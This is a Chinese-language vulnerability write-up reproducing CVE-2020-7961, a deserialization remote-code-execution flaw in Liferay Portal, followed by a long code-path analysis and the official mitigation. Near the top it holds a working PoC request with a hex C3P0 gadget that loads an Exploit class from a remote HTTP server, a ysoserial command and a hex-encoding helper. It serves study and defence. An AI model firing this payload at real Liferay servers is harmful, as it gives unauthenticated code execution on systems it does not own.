CVE-2020-7961 Liferay Portal 復現分析


漏洞說明:

Liferay是一個開源的Portal(認證)產品,提供對多個獨立系統的內容集成,為企業信息、流程等的整合提供了一套完整的解決方案,和其他商業產品相比,Liferay有着很多優良的特性,而且免費,在全球都有較多用戶.

該洞是個反序列化導致的rce,通過未授權訪問其api傳遞json數據進行反序列化,危害較高

影響范圍:

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X

環境搭建:

https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下載帶tomcat的集成版,接下來就可以運行了,安裝過程一路默認配置即可

漏洞復現:

poc:

POST /api/jsonws/invoke HTTP/1.1
Host: php.local:8080
Content-Length: 2335
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}

本地起http server 掛載Exploit.class字節碼文件

ysoserial c3p0生成:

java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser

然后用以下腳本轉為16進制:

import java.io.*;

public class poc {
    public String encodeHex(InputStream fi) throws IOException {
        int size;
        String hexStr="";
        while ((size=fi.read())!=-1){
            String byteChar = Integer.toHexString(size);
            if(byteChar.length()<2) {
                byteChar = "0" + byteChar;
            }
           hexStr = hexStr + byteChar;
        }
        return hexStr;
    }
    public static void main(String[] args) throws IOException {
    FileInputStream fi  = new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/test.ser"));
    poc obj = new poc();
    String pocStr = obj.encodeHex(fi);
    System.out.println(pocStr);
    }
}

或者用mashalsec直接生成16進制paylaod:

漏洞分析:

https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services 這里是關於liferay的一些說明文檔,主要是可以如何通過http://localhost:8080/api/jsonws提供的一些api

 

 可以直接通過api/jsonws 來查看調用結果或者通過其他形式來調用api,比如隨便調用一個api,填上對應數據類型的字段,將通過/api/jsonws/invoke進行調用,可以看到此時參數全部都在post包的body中

那么實際上是api/jsonws/invoke這條路由來處理的請求,那么去web.xml下面看一下對應的serverlet,存在此條url匹配規則

 找到該serverlet對應的類,可以看到此時位於

 

直接找到該類位置

windows下開啟debug: start.bat中添加

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8788

 

 開啟debug,invoke的filter一路走向如上圖所示,直到匹配到該serverlet的處理邏輯,調用其service方法來處理http請求

HttpServletRequest對象代表客戶端的請求,當客戶端通過HTTP協議訪問服務器時,HTTP請求頭中的所有信息都封裝在這個對象中,通過這個對象提供的方法,可以獲得客戶端請求的所有信息。
   getRequestURL方法返回客戶端發出請求時的完整URL。
  getRequestURI方法返回請求行中的資源名部分。
  getQueryString 方法返回請求行中的參數部分。
  getPathInfo方法返回請求URL中的額外路徑信息。額外路徑信息是請求URL中的位於Servlet的路徑之后和查詢參數之前的內容,它以“/”開頭。
  getRemoteAddr方法返回發出請求的客戶機的IP地址。
  getRemoteHost方法返回發出請求的客戶機的完整主機名。
  getRemotePort方法返回客戶機所使用的網絡端口號。
  getLocalAddr方法返回WEB服務器的IP地址。
  getLocalName方法返回WEB服務器的主機名。

Web應用中servlet可以使用servlet上下文(context)得到:
1.在調用期間保存和檢索屬性的功能,並與其他servlet共享這些屬性。
2.讀取Web應用中文件內容和其他靜態資源的功能。
3.互相發送請求的方式。
4.記錄錯誤和信息化消息的功能。

一個servlet上下文是servlet引擎提供用來服務於Web應用的接口。Servlet上下文具有名字(它屬於Web應用的名字)唯一映射到文件系統的一個目錄。
一個servlet可以通過ServletConfig對象的getServletContext()方法得到servlet上下文的引用,如果servlet直接或間接調用子類GenericServlet,則可以使用getServletContext()方法。

上圖主要是提取請求路徑,判斷是否來顯示api列表(path為""或"/"),否則調用父類的service方法處理http請求

request.getContextPath()可返回站點的根路徑,應該是得到項目的名字,如果項目為根目錄,則得到一個"",即空的字條串。如果項目為abc, <%=request.getContextPath()% > 將得到abc

比如要是請求api/jsonws,則走到下面邏輯

接着在重定向方法中設置http請求的一些屬性,對於該次請求的處理即結束

 

那么話說回去,正常poc到其父類的JSONserverlet的service方法中,調用jsonWebserviceaction對象的execute來處理http請求

 

接着判斷servletContextName為空則返回false

接着到①處拿到authtype為空直接return

 

 直接到getJSONWebServiceAction()方法中,拿到當前請求的路徑為invoke,則返回一個invokeaction實例

 實例化過程中將從http請求中拿到參數cmd的值

 

 

 接着猜測應該是反射執行該cmd的值,cmd的值也是json形式,這里先調用portal的json parser器解析cmd的值反序列化后(非原生反序列化)返回一個object(hashmap,里面存着cmd所代表的鍵值對)

 

 然后再將hashmap放到list中,這個應該是判斷parser解析的結果來選擇處理方式

接着就是循環遍歷該list 取出其中的hashmap,並獲取迭代器的方式遍歷hashmap,取出保存在其中的鍵值對,也就是cmd對應的鍵和值,調用parsestatement處理主要就是解析出要反射調用的api

接着到executeStatement中來進行實際的api調用,到目前為止api都是以uri的方式存在,只是一個虛擬路徑,那么在java中肯定有相應的處理類,所以肯定要找到它,getJSONWebServiceAction就完成了這個功能,並且也完成了提取http body中的參數作為api 反射調用的參數,先直接看看該方法調用返回后的JsonWebserviceAction

 

從jsonwebServiceAction的值可以看到又用到了代理的知識,這種設計模式真的是在java web網絡通信應用中挺常用,從actionmethod中就能看到實際上api調用的是proxy代理類的addcolumn方法,那么proxy代理的接口是expandoColumn接口,可以在注解里面看到其實現類是ExpandoColumnImpl,並且可以看到實際處理該api調用的類為ExpandoColumnServiceImpl,總之getJSONwebServiceaction完成了api調用的初始化准備工作,還是有跟一下的必要

 

 到getJSONWebServiceAction中看看,其中有個jsonWebServiceActionParameters.collectAll又傳入了httpserverletrequest,猜測其要處理http請求的內容,跟進

 

 進一步獲取服務上下文,通過_getInstance來實際處理http 請求中的參數了,要獲取http請求的相關內容,肯定要用到相關的接口

 

 所以回到catalina.connector的request類中,將拿到http請求的一切內容(提供的獲取http請求的接口必須走到這個類)

最后拿到的含有請求參數的ParameterMap如下圖所示,所有的參數值都是以=分割,包括我們的序列化數據的其鍵值對,接着遍歷該map,再將其中的值取出來存到hashmap中保存到attributes成員變量里

 

然后再賦給服務上下文作為其內部成員變量來使用,真的是挺曲折的==

 

 加工完service context 獲取http參數后,再將之前獲得的相關參數值賦給下圖的jsonWebService相關變量,之后返回一個actionImple的實例,並且這些參數傳入,后面猜應該要根據這些值來反射調用方法了

 如下圖所示到_invokeActionMethod方法中執行

 因為之前的解析也已經知道實際上poc里面調用的addcolumn api是對應的下圖的actionclass的addcolumn 重載其一方法,支持轉入4個參數,包括一個object,作為defaultdata參數名傳入,漏洞點就在此

那么接着就要獲取action class的參數,為了后面進行反射執行,這里調用_prepareParameters方法

由下圖就能看到,此時拿到的參數名,參數類型以及參數值,參數類型就是Object,參數類型的值即為C3P0的絕對路徑

 若參數類型值不為空,則通過類加載機制將其加載到jvm中(利用本地gadget),這里用loadclass來加載該類說明目標對象被裝載后不進行鏈接,這就意味這不會去執行該類靜態塊中間的內容

 

 

 接着因為default的參數值不為void,所以調用this._convertValueToParameterValue對參數值進行處理,接着猜測應該是判斷這里傳入的參數的具體類型

如下圖所示也正是如此,判斷傳入的參數類型,匹配了幾種情況后若不滿足則將參數值置null

 然后調用convertType方法來將此時的value和參數類型進行轉換后賦值給parameterValue,然而預置的轉換規則並不匹配poc中的c3p0類

 

接着繼續往下走,判斷當前的default的值是否以{開頭,滿足則調用looseDeserialize來處理,這里也是反序列化的關鍵點(json數據反序列化)

由於portal用的是jodd的json解析,因此此時使用其jsonParser對參數值進行掃描

 

對於傳入的payload json數據,jodd將使用injectValueIntoObject將參數的值還原到參數對象中

 

就像fastjson反射調用set賦值類似,jodd也通過json中的屬性來生成setter方法,然后反射調用參數對象所代表類的對應setter方法來賦值

 接着就到了set方法中,此時將根據解析規則,解析賦給userOveridesAsString的值

 存儲的16進制payload將被還原為序列化的字節碼文件存儲在字節數組中

那么我們知道字節數組肯定不能直接反序列化,所以要如下圖轉為ObjectInputStream

 

 

反序列化gadget

接下來就到了反序列化時刻了,與之前分析的C3P0反序列化相同

 

整個處理流程總結:

1.根據uri的/api/jsonws/invoke獲取cmd參數的值,根據其值確定要調用的api函數,然后通過動態代理確定要用哪個類來處理具體的api調用邏輯

2.確定完處理類后,要傳給其參數值,因此到catalina.connector中取http body中的值,賦給服務上下文作為其內部成員變量做准備

3.接着為反射調用api對應成員方法准備入口參數(已經存到context中了),因為poc中利用的api是支持傳入object的(漏洞存在的原因,划重點),所以肯定要涉及到根據提供的類的來裝載(loadclass完成),以及反序列化還原object,在判斷傳入的object的參數值滿足json數據前綴后則調用jodd庫來對json數據進行處理,嘗試恢復對象,jodd解析規則根據屬性確定setter方法,並確定要還原的值(序列化payload),到此進入c3p0的處理邏輯

4.c3p0的利用,該類的setuserOverridesAsString方法可以將16進制編碼的序列化數據進行反序列化,序列化數據即為本地的lib下的gadget

從api匹配到獲取http body中的值進行反序列化,從應用程序上來講問題就是某些api的入口參數為object,然而序列化的數據傳輸后還原必然要經過反序列化,應用提供了太過於寬泛的反序列化操作,defaultdata后面的類名可控(以分號分割)

感覺也不是jodd庫的鍋,應用里面也匹配反序列化的類,但是對不在匹配規則中的類並未做黑白名單限制,所以說本地只要有能夠利用的gadget,就能夠利用

官方的修復方法是:

Disable JSONWS by setting the portal.property jsonws.servlet.hosts.allowed=Not/Available

也就是禁用jsonws的調用,在portalimpl.jar下面有這個protal.property配置文件,啟動默認加載的,全局生效

另外這個web代碼量太大了,看的人都暈了,有說的不對的還請指出,本來想找找有沒有xxe,結果:)...

參考:

https://xz.aliyun.com/t/7485

https://xz.aliyun.com/t/7499

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM